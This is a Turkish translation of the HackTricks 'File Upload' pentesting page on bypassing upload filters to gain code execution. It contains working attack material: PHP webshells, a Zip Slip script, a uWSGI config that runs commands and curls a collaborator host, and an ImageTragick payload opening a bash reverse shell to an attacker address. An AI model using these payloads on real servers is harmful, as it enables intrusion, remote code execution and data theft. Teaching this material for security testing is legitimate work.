.. | ||
pdf-upload-xxe-and-cors-bypass.md | ||
README.md |
Dosya Yükleme
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Discord 💬 grubumuza katılın veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı Lehçe yazılı ve sözlü gereklidir).
{% embed url="https://www.stmcyber.com/careers" %}
Dosya Yükleme Genel Metodolojisi
Diğer kullanışlı uzantılar:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- PHPv8'de Çalışma: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Sunucusu: .yaws
Dosya uzantıları kontrolünü atlatma
- Eğer varsa, önceki uzantıları kontrol edin. Ayrıca onları bazı büyük harflerle deneyin: pHp, .pHP5, .PhAr ...
- Çalıştırma uzantısından önce geçerli bir uzantı ekleyin (önceki uzantıları da kullanın):
- file.png.php
- file.png.Php5
- Sonuna özel karakterler eklemeyi deneyin. Burp'u kullanarak tüm ascii ve Unicode karakterlerini bruteforce edebilirsiniz. (Önceki uzantıları da deneyebilirsiniz)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- Sunucu tarafındaki uzantı ayrıştırıcısını yanıltarak korumaları atlatmaya çalışın. Uzantıyı ikiye katlama veya uzantılar arasına gereksiz veri (null baytları) eklemek gibi tekniklerle. Daha iyi bir payload hazırlamak için önceki uzantıları da kullanabilirsiniz.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Önceki kontrolde başka bir katman uzantı ekleyin:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Geçerli uzantıdan önce exec uzantısını ekleyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Apache yan yapılandırmalarını sömürmek için faydalıdır, burada uzantısı .php ile biten her şey kodu çalıştıracaktır, ancak mutlaka .php ile bitmesi gerekmez):
- örn: file.php.png
- Windows'ta NTFS alternatif veri akışını (ADS) kullanın. Bu durumda, yasaklı bir uzantıdan önce ve izin verilen bir uzantıdan sonra iki nokta üst üste karakteri “:” eklenir. Sonuç olarak, sunucuda yasaklı uzantılı boş bir dosya oluşturulur (örn. “file.asax:.jpg”). Bu dosya daha sonra kısa dosya adını kullanarak düzenlenebilir. “::$data” deseni ayrıca boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek, daha fazla kısıtlamayı atlamak için de yararlı olabilir (örn. “file.asp::$data.”)
- Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilir ve kötü niyetli PHP bırakılır. AAA<--SNIP-->AAA.php
# Linux maksimum 255 bayt
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 eksiltin ve .png ekleyin
# Dosyayı yükleyin ve kaç karakter izin verdiğini kontrol edin. Diyelim ki 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Payload'ı oluşturun
AAA<--SNIP 232 A-->AAA.php.png
İçerik Türü, Sihirli Sayı, Sıkıştırma ve Yeniden Boyutlandırma Engelleme
- Content-Type kontrollerini atlayarak Content-Type başlığının değerini şu şekilde ayarlayın: image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
- Sihirli sayı kontrolünü atlayarak dosyanın başına gerçek bir resmin baytlarını ekleyerek (file komutunu karıştırın). Veya metadata içine shell ekleyin:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
veya ayrıca payloadı doğrudan bir resme ekleyebilirsiniz:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- Eğer resminize sıkıştırma ekleniyorsa, örneğin PHP-GD gibi bazı standart PHP kütüphanelerini kullanarak, önceki teknikler işe yaramayabilir. Ancak, sıkıştırmayı hayatta kalacak metin eklemek için PLTE chunk burada tanımlanan teknik kullanabilirsiniz.
- Kod ile Github
- Web sayfası ayrıca resmi yeniden boyutlandırarak kullanıyor olabilir, örneğin PHP-GD fonksiyonları
imagecopyresized
veyaimagecopyresampled
kullanarak. Ancak, sıkıştırmayı hayatta kalacak metin eklemek için IDAT chunk burada tanımlanan teknik kullanabilirsiniz. - Kod ile Github
- Bir başka teknik, resmin yeniden boyutlandırılmasını sağlayan bir yükü oluşturmak, PHP-GD fonksiyonu
thumbnailImage
kullanarak. Ancak, sıkıştırmayı hayatta kalacak metin eklemek için tEXt chunk burada tanımlanan teknik kullanabilirsiniz. - Kod ile Github
Diğer İpuçları
- Zaten yüklenmiş olan dosyayı yeniden adlandırmak için bir zafiyet bulun.
- Geri kapıyı çalıştırmak için Yerel Dosya Dahil Etme zafiyeti bul.
- Olası Bilgi Sızıntısı:
- Aynı dosyayı ve aynı ismi birkaç kez (ve aynı anda) yükleyin
- Zaten var olan bir dosya veya dizin adıyla bir dosya yükleyin
- İsmini “.”, “..”, veya “…” olarak belirtilen bir dosya yükleyin. Örneğin, Apache'de Windows'ta, uygulama yüklenen dosyaları “/www/uploads/” dizininde saklıyorsa, “.” dosya adı “/www/” dizininde “uploads” adında bir dosya oluşturacaktır.
- NTFS'de “…:.jpg” gibi kolayca silinmeyen bir dosya yükleyin. (Windows)
- İsminde
|<>*?”
gibi geçersiz karakterler bulunan bir dosya yükleyin. (Windows) - Yasaklanmış (yasaklanmış) isimler olan CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9 gibi rezerve edilmiş isimler kullanarak bir dosya yükleyin.
- Ayrıca yanlışlıkla açıldığında kodu çalıştıracak bir (.exe) veya daha az şüpheli bir .html dosyası yüklemeyi deneyin.
Özel Uzantı İpuçları
Eğer dosyaları bir PHP sunucusuna yüklemeye çalışıyorsanız, kodun çalıştırılmasını sağlamak için .htaccess hilesine göz atın.
Eğer dosyaları bir ASP sunucusuna yüklemeye çalışıyorsanız, kodun çalıştırılmasını sağlamak için .config hilesine göz atın.
.phar
dosyaları, java için .jar
gibi, ancak php için ve bir php dosyası gibi kullanılabilir (php ile çalıştırılarak veya bir betik içine dahil edilerek...)
.inc
uzantısı bazen yalnızca dosyaları ithal etmek için kullanılan php dosyaları için kullanılır, bu nedenle, bir noktada, birinin bu uzantının çalışmasına izin vermiş olabileceğini düşünebilirsiniz.
Jetty RCE
Eğer bir XML dosyasını bir Jetty sunucusuna yükleyebilirseniz, RCE elde edebilirsiniz çünkü yeni *.xml ve *.war otomatik olarak işlenir. Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını $JETTY_BASE/webapps/
'e yükleyin ve kabuk bekleyin!
uWSGI RCE
Bu zafiyetin detaylı keşfi için orijinal araştırmaya göz atın: uWSGI RCE Exploitation.
UWSGI sunucularında Uzaktan Komut Yürütme (RCE) zafiyetleri, .ini
yapılandırma dosyasını değiştirme yeteneğine sahip olanlar tarafından sömürülebilir. UWSGI yapılandırma dosyaları, "sihirli" değişkenler, yer tutucular ve operatörler içeren belirli bir sözdizim kullanır. Özellikle, @(filename)
olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. UWSGI'de desteklenen çeşitli şemalardan biri olan "exec" şeması özellikle güçlüdür, bir işlemin standart çıktısından veri okumayı sağlar. Bu özellik, .ini
yapılandırma dosyası işlendiğinde Uzaktan Komut Yürütme veya Keyfi Dosya Yazma/Okuma gibi kötü amaçlar için manipüle edilebilir.
Aşağıdaki zararlı uwsgi.ini
dosyasının çeşitli şemaları sergileyen bir örneğini düşünün:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
Payload'ın yürütülmesi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için uWSGI işlemi ya yeniden başlatılmalıdır (potansiyel olarak bir çökme sonrası veya Bir Hizmet Reddi saldırısından dolayı) ya da dosya otomatik yeniden yükleme olarak ayarlanmalıdır. Eğer etkinleştirilmişse, otomatik yeniden yükleme özelliği, değişiklikler algılandığında belirli aralıklarla dosyayı yeniden yükler.
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak son derece önemlidir. Özellikle, tartışılan payload, bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir, potansiyel sömürü alanını daha da genişletir.
wget Dosya Yükleme/SSRF Hilesi
Bazı durumlarda sunucunun wget
kullanarak dosyaları indirdiğini ve URL'yi belirtebileceğinizi fark edebilirsiniz. Bu durumlarda, kodun indirilen dosyaların uzantısının bir beyaz listeye dahil olduğunu kontrol edebilir, böylece yalnızca izin verilen dosyaların indirileceğinden emin olabilir. Ancak, bu kontrol atlatılabilir.
Linux'taki bir dosya adının maksimum uzunluğu 255 karakterdir, ancak wget dosya adlarını 236 karaktere kısaltır. "A"*232+".php"+".gif" adında bir dosya indirebilirsiniz, bu dosya adı kontrolü atlayacaktır (bu örnekte ".gif" geçerli bir uzantıdır) ancak wget
dosyayı "A"*232+".php" olarak yeniden adlandıracaktır.
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Başka bir seçenek olarak düşünebileceğiniz şey, HTTP sunucusunu farklı bir dosyaya yönlendirmesini sağlamak olabilir, böylece başlangıçtaki URL, wget o zaman yönlendirilen dosyayı yeni adıyla indireceği için kontrolü atlayabilir. Bu, wget'in --trust-server-names
parametresiyle kullanılmadığı sürece çalışmayacak, çünkü wget yönlendirilen sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir.
Araçlar
- Upload Bypass, Pentester'ları ve Hata Avcılarını dosya yükleme mekanizmalarını test etmede yardımcı olmak için tasarlanmış güçlü bir araçtır. Çeşitli hata avı tekniklerinden yararlanarak web uygulamalarının kapsamlı değerlendirmelerini sağlayarak zayıflıkları tanımlama ve sömürme sürecini basitleştirir.
Dosya yüklemeden diğer zayıflıklara
- Dosya adını
../../../tmp/lol.png
olarak ayarlayın ve bir yol geçişi elde etmeye çalışın - Dosya adını
sleep(10)-- -.jpg
olarak ayarlayın ve bir SQL enjeksiyonu elde edebilirsiniz - Dosya adını
<svg onload=alert(document.domain)>
olarak ayarlayarak bir XSS elde edin - Dosya adını
; sleep 10;
olarak ayarlayarak bazı komut enjeksiyonlarını test edin (daha fazla komut enjeksiyonu hilesi burada) - Resim (svg) dosyasında XSS
- JS dosyası yükleme + XSS = Service Workers kötüye kullanımı
- svg yükleme ile XXE
- svg dosyası yükleyerek Açık Yönlendirme
- Farklı svg payload'ları deneyin
- Ünlü ImageTrick zayıflığı
- Eğer web sunucusunu bir URL'den bir resmi yakalamaya işaret edebilirseniz, bir SSRF'yi kötüye kullanmayı deneyebilirsiniz. Bu resimin bazı genel bir siteye kaydedilecekse, https://iplogger.org/invisible/ adresinden bir URL belirtebilir ve her ziyaretçinin bilgilerini çalabilirsiniz.
- PDF-Adobe yükleme ile XXE ve CORS atlatma
- XSS için özel olarak oluşturulmuş PDF'ler: Aşağıdaki sayfa, JS yürütme elde etmek için PDF verilerini nasıl enjekte edeceğinizi sunmaktadır. PDF'ler yükleyebiliyorsanız, verilen talimatları takip ederek keyfi JS yürütebilecek bir PDF hazırlayabilirsiniz.
- Sunucunun herhangi bir antivirüs olup olmadığını kontrol etmek için [eicar](https://secure.eicar.org/eicar.com.txt) içeriğini yükleyin
- Dosya yükleme sırasında herhangi bir boyut sınırı olup olmadığını kontrol edin
İşte yükleme yaparak elde edebileceğiniz şeylerin en iyi 10 listesi (buradan):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Depolanmış XSS / SSRF / XXE
- GIF: Depolanmış XSS / SSRF
- CSV: CSV enjeksiyonu
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML enjeksiyonu / XSS / Açık yönlendirme
- PNG / JPEG: Piksel sel saldırısı (DoS)
- ZIP: LFI aracılığıyla RCE / DoS
- PDF / PPTX: SSRF / Kör XXE
Burp Eklentisi
{% embed url="https://github.com/portswigger/upload-scanner" %}
Sihirli Başlık Baytları
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
Diğer dosya türleri için https://en.wikipedia.org/wiki/List_of_file_signatures adresine başvurun.
Zip/Tar Dosyası Otomatik Olarak Sıkıştırılmış Yükleme
Sunucu içinde sıkıştırılacak bir ZIP yükleyebiliyorsanız, 2 şey yapabilirsiniz:
Sembolik bağ
Diğer dosyalara yumuşak bağlantılar içeren bir bağlantı yükleyin, ardından, sıkıştırılmış dosyalara erişerek bağlı dosyalara erişeceksiniz:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Farklı klasörlerde açma
Sıkıştırma sırasında dosyaların beklenmedik bir şekilde dizinlerde oluşturulması ciddi bir sorundur. İlk başta bu yapılandırmanın kötü niyetli dosya yüklemeleri aracılığıyla OS düzeyinde komut yürütme saldırılarına karşı koruma sağlayabileceği varsayılsa da, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçişi yetenekleri istismar edilebilir. Bu, saldırganların hedef uygulamanın açma işlevselliğini manipüle ederek kısıtlamaları atlayıp güvenli yükleme dizinlerinden kaçmalarına olanak tanır.
Bu tür dosyaları oluşturmak için otomatik bir saldırı aracı GitHub'da evilarc adresinde bulunmaktadır. Yardımcı program şu şekilde kullanılabilir:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Ek olarak, evilarc ile sembolik bağlantı hilesi bir seçenektir. Eğer /flag.txt
gibi bir dosyayı hedef almak amaçlanıyorsa, o dosyaya bir sembolik bağlantı oluşturulmalıdır. Bu, evilarc'ın işlemi sırasında hata ile karşılaşmamasını sağlar.
Aşağıda, kötü niyetli bir zip dosyası oluşturmak için kullanılan Python kodu örneği bulunmaktadır:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Dosya sıkıştırma kötüye kullanımı için dosya püskürtme
Daha fazla detay için orijinal yazıya bakın: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- PHP Shell Oluşturma: PHP kodu,
$_REQUEST
değişkeninden geçirilen komutları çalıştırmak için yazılmıştır.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- Dosya Püskürtme ve Sıkıştırılmış Dosya Oluşturma: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi oluşturulur.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Hex Düzenleyici veya vi ile Değiştirme: Zip içindeki dosyaların adları, "xxA"yı değiştirerek dizinleri gezinmek için vi veya bir hex düzenleyici kullanılarak değiştirilir.
:set modifiable
:%s/xxA/..\//g
:x!
ImageTragic
Bu içeriği bir resim uzantısıyla yükleyerek zafiyeti sömürün (ImageMagick, 7.0.1-1) (exploit için exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
PNG İçine PHP Shell Gömme
Bir PNG dosyasının IDAT bloğuna bir PHP shell gömmek, belirli görüntü işleme işlemlerini etkili bir şekilde atlatabilir. PHP-GD'den imagecopyresized
ve imagecopyresampled
fonksiyonları bu bağlamda özellikle önemlidir, çünkü genellikle resimleri yeniden boyutlandırmak ve örnekleme yapmak için kullanılırlar. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilmesi, belirli kullanım durumları için önemli bir avantajdır.
Bu teknik hakkında detaylı bir keşif, metodolojisi ve potansiyel uygulamalarıyla birlikte aşağıdaki makalede sunulmuştur: "PNG IDAT Bloklarında Web Shell Kodlama". Bu kaynak, işlemin ve sonuçlarının kapsamlı bir anlayışını sunar.
Daha fazla bilgi için: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Poliglot Dosyalar
Poliglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder, aynı anda birden fazla dosya biçiminde geçerli olabilen kameleonlar olarak işlev görür. İlginç bir örnek GIFAR adlı bir dosyadır, hem bir GIF hem de bir RAR arşivi olarak işlev gören bir hibrid. Bu tür dosyalar sadece bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
Poliglot dosyaların temel faydası, dosyaları türlerine göre tarayan güvenlik önlemlerini atlatma kapasitelerindedir. Çeşitli uygulamalarda yaygın olan bir uygulama, yalnızca belirli dosya türlerine izin vermek -örneğin JPEG, GIF veya DOC- potansiyel olarak zararlı biçimlerin (örneğin JS, PHP veya Phar dosyaları) oluşturabileceği riski azaltmak içindir. Ancak, poliglot dosyalar, birden fazla dosya türünün yapısal kriterlerine uyarak bu kısıtlamaları gizlice atlayabilir.
Uyum sağlama yeteneklerine rağmen, poliglotlar bazı sınırlamalarla karşılaşabilir. Örneğin, bir poliglot aynı anda bir PHAR dosyası (PHp ARşiv) ve bir JPEG dosyası olabilirken, yüklemenin başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem, izin verilen uzantılar konusunda katıysa, bir poliglotun yalnızca yapısal ikiliği yüklemenin garantisi olmayabilir.
Daha fazla bilgi için: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Referanslar
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı Polonyaca yazılı ve konuşulan gereklidir).
{% embed url="https://www.stmcyber.com/careers" %}
Sıfırdan Kahraman'a AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family koleksiyonumuzu keşfedin, özel NFT'lerimiz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destek olun.